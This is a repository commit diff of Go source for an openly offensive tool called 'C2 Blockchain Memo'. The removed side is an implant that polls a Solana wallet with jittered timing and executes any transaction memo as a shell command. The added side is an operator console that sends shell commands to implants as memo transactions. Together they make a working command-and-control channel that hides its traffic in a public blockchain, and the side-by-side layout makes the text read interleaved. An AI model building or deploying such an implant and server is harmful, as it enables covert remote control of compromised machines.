Upload files to "c2_blockchain_memo/cmd"

This commit is contained in:
2026-06-08 05:54:05 +00:00
parent ddeceae422
commit b6cc186fff
+159 -164
View File
@@ -1,221 +1,207 @@
// cmd/client/main.go — C2 Blockchain Memo Implant // cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool)
// //
// Watches a Solana wallet address for incoming transactions and // Sends commands to implants by embedding them in Solana transaction
// extracts any memo text (via the Memo Program). If the memo // memo fields. Each command is sent as a 1-lamport SOL transfer + memo
// contains a shell command, it executes the command locally. // instruction to the implant's wallet address.
//
// The implant tracks which transactions it has already processed
// so it only executes each command once.
// //
// Usage: // Usage:
// //
// # Watch a wallet (no keypair needed — read-only mode): // # With a funded keypair (Solana CLI JSON-array format):
// go run ./cmd/client --address <WALLET_ADDRESS> --rpc devnet // go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet
// //
// # Watch own wallet from keypair: // # Generate a fresh ephemeral keypair (no SOL — for testing):
// go run ./cmd/client --keypair implant-keypair.json --rpc devnet // go run ./cmd/server
// //
// # Watch with custom polling interval (default 15s, with ±50% jitter): // Interactive commands once running:
// go run ./cmd/client --address ... --interval 30 // send <IMPLANT_ADDRESS> <shell command>
// balance
// quit
package main package main
import ( import (
"bufio"
"context" "context"
"encoding/json" "encoding/json"
"flag" "flag"
"fmt" "fmt"
"log" "log"
"math/rand"
"os" "os"
"os/exec"
"os/signal"
"strings" "strings"
"sync"
"syscall"
"time"
"github.com/gagliardetto/solana-go" "github.com/gagliardetto/solana-go"
"github.com/gagliardetto/solana-go/programs/memo"
"github.com/gagliardetto/solana-go/programs/system"
"github.com/gagliardetto/solana-go/rpc" "github.com/gagliardetto/solana-go/rpc"
) )
// seenTracks keeps track of processed transaction signatures so we
// never re-execute a command.
type seenTracker struct {
mu sync.Mutex
seen map[string]struct{}
}
func (st *seenTracker) Add(sig string) {
st.mu.Lock()
st.seen[sig] = struct{}{}
st.mu.Unlock()
}
func (st *seenTracker) Has(sig string) bool {
st.mu.Lock()
defer st.mu.Unlock()
_, ok := st.seen[sig]
return ok
}
func main() { func main() {
var ( var (
addressStr = flag.String("address", "", "Implant wallet address to watch") keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)")
keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)")
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL") rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
intervalSec = flag.Int("interval", 15, "Polling interval in seconds")
limit = flag.Int("limit", 10, "Max transactions to fetch per poll")
) )
flag.Parse() flag.Parse()
// Resolve named endpoints
endpoint := resolveEndpoint(*rpcEndpoint) endpoint := resolveEndpoint(*rpcEndpoint)
// ── Resolve the wallet address to watch ────────────────────────── // ── Load or generate operator wallet ──────────────────────────────
var watchAddress solana.PublicKey var operatorWallet solana.PrivateKey
if *addressStr != "" {
var err error var err error
watchAddress, err = solana.PublicKeyFromBase58(*addressStr)
if err != nil { if *keypairPath != "" {
log.Fatalf("Invalid --address %q: %v", *addressStr, err) operatorWallet, err = loadKeypair(*keypairPath)
}
} else if *keypairPath != "" {
key, err := loadKeypair(*keypairPath)
if err != nil { if err != nil {
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err) log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
} }
watchAddress = key.PublicKey() fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath)
} else { } else {
log.Fatal("Either --address or --keypair must be provided") operatorWallet, err = solana.NewRandomPrivateKey()
if err != nil {
log.Fatalf("Failed to generate keypair: %v", err)
}
fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)")
} }
fmt.Printf("🔭 Watching address: %s\n", watchAddress.String()) operatorPub := operatorWallet.PublicKey()
fmt.Printf("🔗 RPC endpoint: %s\n", endpoint) fmt.Printf("📍 Operator address: %s\n", operatorPub.String())
fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec) fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint)
fmt.Println()
client := rpc.New(endpoint) client := rpc.New(endpoint)
ctx, cancel := context.WithCancel(context.Background()) ctx := context.Background()
defer cancel()
tracker := &seenTracker{seen: make(map[string]struct{})} // ── Interactive REPL ──────────────────────────────────────────────
baseInterval := time.Duration(*intervalSec) * time.Second scanner := bufio.NewScanner(os.Stdin)
fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━")
// ── Signal handling for graceful shutdown ─────────────────────── fmt.Println("Commands:")
sigCh := make(chan os.Signal, 1) fmt.Println(" send <ADDRESS> <command> Send a shell command to an implant")
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) fmt.Println(" balance Check operator wallet SOL balance")
fmt.Println(" quit Exit")
fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━")
fmt.Println("Listening for commands... Press Ctrl+C to stop.")
fmt.Println() fmt.Println()
// ── Polling loop ─────────────────────────────────────────────────
poll := func() {
sigs, err := client.GetSignaturesForAddressWithOpts(
ctx,
watchAddress,
&rpc.GetSignaturesForAddressOpts{
Limit: &[]int{*limit}[0],
Commitment: rpc.CommitmentConfirmed,
},
)
if err != nil {
log.Printf("⚠️ Poll error: %v", err)
return
}
// Process newest first (they come newest-first from the RPC)
for _, ts := range sigs {
// Only process confirmed/finalized transactions
if ts.Err != nil {
continue
}
// Skip already-seen
sigStr := ts.Signature.String()
if tracker.Has(sigStr) {
continue
}
tracker.Add(sigStr)
// Check for memo via TxMemo field (populated by runtime for
// transactions that include a Memo Program instruction).
// This is faster than fetching the full transaction.
if ts.Memo == nil || *ts.Memo == "" {
// No memo attached to this transaction — skip.
// Optionally, we could fall back to fetching the full
// transaction and parsing instructions, but the Memo
// field is reliable for Memo Program transactions.
continue
}
command := *ts.Memo
fmt.Printf("📩 New command from tx %s:\n", sigStr)
fmt.Printf(" Command: %s\n", command)
executeCommand(command)
fmt.Println()
}
}
// Do an initial poll immediately
poll()
// ── Polling ticker with jitter ───────────────────────────────────
ticker := time.NewTicker(baseInterval)
defer ticker.Stop()
for { for {
select { fmt.Print(" ")
case <-ticker.C: if !scanner.Scan() {
// Add jitter: ±50% of base interval, then poll break
jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5)) }
time.Sleep(baseInterval + jitter) line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
poll() parts := strings.SplitN(line, " ", 3)
switch parts[0] {
// Schedule next tick case "quit", "exit", "q":
ticker.Reset(baseInterval) fmt.Println("Bye.")
case <-sigCh:
fmt.Println("\n👋 Shutting down...")
cancel()
return return
case "balance":
checkBalance(ctx, client, operatorPub)
case "send":
if len(parts) < 3 {
fmt.Println("Usage: send <IMPLANT_ADDRESS> <command>")
continue
}
sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint)
default:
fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0])
} }
} }
} }
// ── Command execution ─────────────────────────────────────────────── // ── Core: send a command as a memo transaction ──────────────────────
func executeCommand(command string) {
// Determine shell
shell, ok := os.LookupEnv("SHELL")
if !ok {
shell = "/bin/sh"
}
cmd := exec.Command(shell, "-c", command)
cmd.Stdin = os.Stdin
cmd.Stderr = os.Stderr
// Capture stdout
output, err := cmd.Output()
func sendCommand(
ctx context.Context,
client *rpc.Client,
operator solana.PrivateKey,
implantAddrStr, command string,
endpoint string,
) {
implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr)
if err != nil { if err != nil {
log.Printf("❌ Command failed: %v", err) log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err)
if len(output) > 0 {
fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output)))
}
return return
} }
outStr := strings.TrimSpace(string(output)) // 1. Get latest blockhash
if outStr != "" { recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized)
fmt.Printf("✅ Output:\n%s\n", outStr) if err != nil {
} else { log.Printf("❌ Failed to get recent blockhash: %v", err)
fmt.Println("✅ Command executed (no output)") return
} }
operatorPub := operator.PublicKey()
// 2. Build transfer instruction (1 lamport — minimal cost,
// creates an on-chain footprint linking to the implant address)
transferIx := system.NewTransferInstruction(
1, // lamports
operatorPub,
implantPubkey,
).Build()
// 3. Build memo instruction with the command text
memoIx, err := memo.NewMemoInstruction(
[]byte(command),
operatorPub,
).ValidateAndBuild()
if err != nil {
log.Printf("❌ Failed to build memo instruction: %v", err)
return
}
// 4. Build the transaction
tx, err := solana.NewTransaction(
[]solana.Instruction{transferIx, memoIx},
recent.Value.Blockhash,
solana.TransactionPayer(operatorPub),
)
if err != nil {
log.Printf("❌ Failed to build transaction: %v", err)
return
}
// 5. Sign
_, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey {
if key.Equals(operatorPub) {
return &operator
}
return nil
})
if err != nil {
log.Printf("❌ Failed to sign transaction: %v", err)
return
}
// 6. Send
sig, err := client.SendTransaction(ctx, tx)
if err != nil {
log.Printf("❌ Failed to send transaction: %v", err)
return
}
clusterParam := clusterParamFromEndpoint(endpoint)
fmt.Printf("✅ Command sent!\n")
fmt.Printf(" Signature: %s\n", sig.String())
fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam)
fmt.Printf(" Command: %q\n", command)
fmt.Printf(" Implant: %s\n", implantAddrStr)
} }
// ── Keypair loading (shared helper) ───────────────────────────────── // ── Balance check ───────────────────────────────────────────────────
func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) {
balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized)
if err != nil {
log.Printf("❌ Failed to check balance: %v", err)
return
}
sol := float64(balance.Value) / 1e9
fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value)
}
// ── Keypair loading ─────────────────────────────────────────────────
func loadKeypair(path string) (solana.PrivateKey, error) { func loadKeypair(path string) (solana.PrivateKey, error) {
data, err := os.ReadFile(path) data, err := os.ReadFile(path)
@@ -246,7 +232,7 @@ func loadKeypair(path string) (solana.PrivateKey, error) {
return solana.PrivateKey(byteArr), nil return solana.PrivateKey(byteArr), nil
} }
// ── Endpoint resolution ───────────────────────────────────────────── // ── Helpers ─────────────────────────────────────────────────────────
func resolveEndpoint(name string) string { func resolveEndpoint(name string) string {
switch strings.ToLower(name) { switch strings.ToLower(name) {
@@ -261,6 +247,15 @@ func resolveEndpoint(name string) string {
} }
} }
func init() { func clusterParamFromEndpoint(endpoint string) string {
rand.New(rand.NewSource(time.Now().UnixNano())) switch {
case strings.Contains(endpoint, "mainnet"):
return "cluster=mainnet-beta"
case strings.Contains(endpoint, "devnet"):
return "cluster=devnet"
case strings.Contains(endpoint, "testnet"):
return "cluster=testnet"
default:
return "cluster=custom&customUrl=" + endpoint
}
} }